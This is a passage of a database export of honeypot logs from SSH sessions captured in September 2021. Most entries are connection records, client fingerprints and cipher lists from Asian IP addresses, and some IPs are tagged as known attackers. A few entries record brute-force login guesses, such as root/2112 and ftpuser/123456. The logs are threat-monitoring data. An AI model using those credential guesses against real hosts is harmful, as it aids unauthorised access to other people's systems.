\N	\N	alert	\N	\N
27887	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:39.916831+03	2021-09-20 14:30:02.111523+03	{"_id": "ygbrAnwBvYTbRNuEMioR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37484, "timestamp": "2021-09-20T11:15:39.916831", "@timestamp": "2021-09-20T11:15:39.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27888	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:39.961667+03	2021-09-20 14:30:02.112524+03	{"_id": "0QbrAnwBvYTbRNuEMirY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:41426 (192.168.176.2:22) [session: 10e67aad7ad1]", "session": "10e67aad7ad1", "@version": "1", "protocol": "ssh", "src_port": 41426, "dest_port": 22, "timestamp": "2021-09-20T11:15:39.961667Z", "@timestamp": "2021-09-20T11:15:39.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27889	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:40.528013+03	2021-09-20 14:30:02.113523+03	{"_id": "0AbrAnwBvYTbRNuEMirX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "f3a05593ffc4", "@version": "1", "duration": 6.041182041168213, "timestamp": "2021-09-20T11:15:40.528013Z", "@timestamp": "2021-09-20T11:15:40.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27890	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:40.474279+03	2021-09-20 14:30:02.114523+03	{"_id": "1wbrAnwBvYTbRNuEMirY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:37548 (192.168.176.2:22) [session: 751171bb91b1]", "session": "751171bb91b1", "@version": "1", "protocol": "ssh", "src_port": 37548, "dest_port": 22, "timestamp": "2021-09-20T11:15:40.474279Z", "@timestamp": "2021-09-20T11:15:40.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27891	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:15:40.39624+03	2021-09-20 14:30:02.115524+03	{"_id": "2QbrAnwBvYTbRNuEMirY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2112] failed", "session": "f25012e6ece1", "@version": "1", "password": "2112", "username": "root", "timestamp": "2021-09-20T11:15:40.396240Z", "@timestamp": "2021-09-20T11:15:40.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27897	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:34.630161+03	2021-09-20 14:30:02.123523+03	{"_id": "lgbrAnwBvYTbRNuEGyph", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f3a05593ffc4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:34.630161Z", "@timestamp": "2021-09-20T11:15:34.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27892	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:40.583815+03	2021-09-20 14:30:02.117524+03	{"_id": "2gbrAnwBvYTbRNuEMirY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6a5af56f9fad", "@version": "1", "timestamp": "2021-09-20T11:15:40.583815Z", "@timestamp": "2021-09-20T11:15:40.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27893	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:40.755436+03	2021-09-20 14:30:02.118525+03	{"_id": "3AbrAnwBvYTbRNuENCq3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 937152961375895, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37548, "dest_port": 22, "timestamp": "2021-09-20T11:15:40.755436Z", "@timestamp": "2021-09-20T11:15:40.755Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27894	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:40.75554+03	2021-09-20 14:30:02.119523+03	{"_id": "3QbrAnwBvYTbRNuENSr7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37548, "timestamp": "2021-09-20T11:15:40.755540", "@timestamp": "2021-09-20T11:15:40.755Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27895	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:42.024255+03	2021-09-20 14:30:02.121524+03	{"_id": "7QbrAnwBvYTbRNuEOiqq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f7cdbb9f3865", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:15:42.024255Z", "@timestamp": "2021-09-20T11:15:42.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27896	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:34.484189+03	2021-09-20 14:30:02.122523+03	{"_id": "lAbrAnwBvYTbRNuEGyph", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:51032 (192.168.176.2:22) [session: f3a05593ffc4]", "session": "f3a05593ffc4", "@version": "1", "protocol": "ssh", "src_port": 51032, "dest_port": 22, "timestamp": "2021-09-20T11:15:34.484189Z", "@timestamp": "2021-09-20T11:15:34.484Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27898	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:34.747735+03	2021-09-20 14:30:02.124524+03	{"_id": "mQbrAnwBvYTbRNuEGyph", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f3a05593ffc4", "@version": "1", "timestamp": "2021-09-20T11:15:34.747735Z", "@timestamp": "2021-09-20T11:15:34.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27899	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:34.759098+03	2021-09-20 14:30:02.125524+03	{"_id": "mgbrAnwBvYTbRNuEGyph", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ftpuser/123456] failed", "session": "9cb1debe220f", "@version": "1", "password": "123456", "username": "ftpuser", "timestamp": "2021-09-20T11:15:34.759098Z", "@timestamp": "2021-09-20T11:15:34.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27900	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:15:34.701886+03	2021-09-20 14:30:02.127523+03	{"_id": "nAbrAnwBvYTbRNuEHSpD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 12465829451059, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51032, "dest_port": 22, "timestamp": "2021-09-20T11:15:34.701886Z", "@timestamp": "2021-09-20T11:15:34.701Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27901	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:34.701997+03	2021-09-20 14:30:02.128524+03	{"_id": "ngbrAnwBvYTbRNuEHiqF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51032, "timestamp": "2021-09-20T11:15:34.701997", "@timestamp": "2021-09-20T11:15:34.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27902	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:15:36.242861+03	2021-09-20 14:30:02.129525+03	{"_id": "qQbrAnwBvYTbRNuEISos", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1135876802837736, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", 